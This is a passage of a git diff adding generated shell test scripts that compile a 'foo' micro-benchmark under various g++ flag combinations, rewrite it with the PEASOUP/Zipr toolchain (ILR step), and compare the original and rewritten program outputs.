+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b591311effaed6f5ca18bd523f8006af47d7f73e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..fdb11ffb30f320e605957b125e0644736519763c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1a4337b0b50401dd42867d652bc4f59cbd0c8c6d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f11e2d9fb80dd007df8a7a6720f079ee44ea9354
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6f7557c7f703427cac3b85942bfd1a9060ed5382
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c66264d53ede3df2ac00cd1ba6ddc21e8075772b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
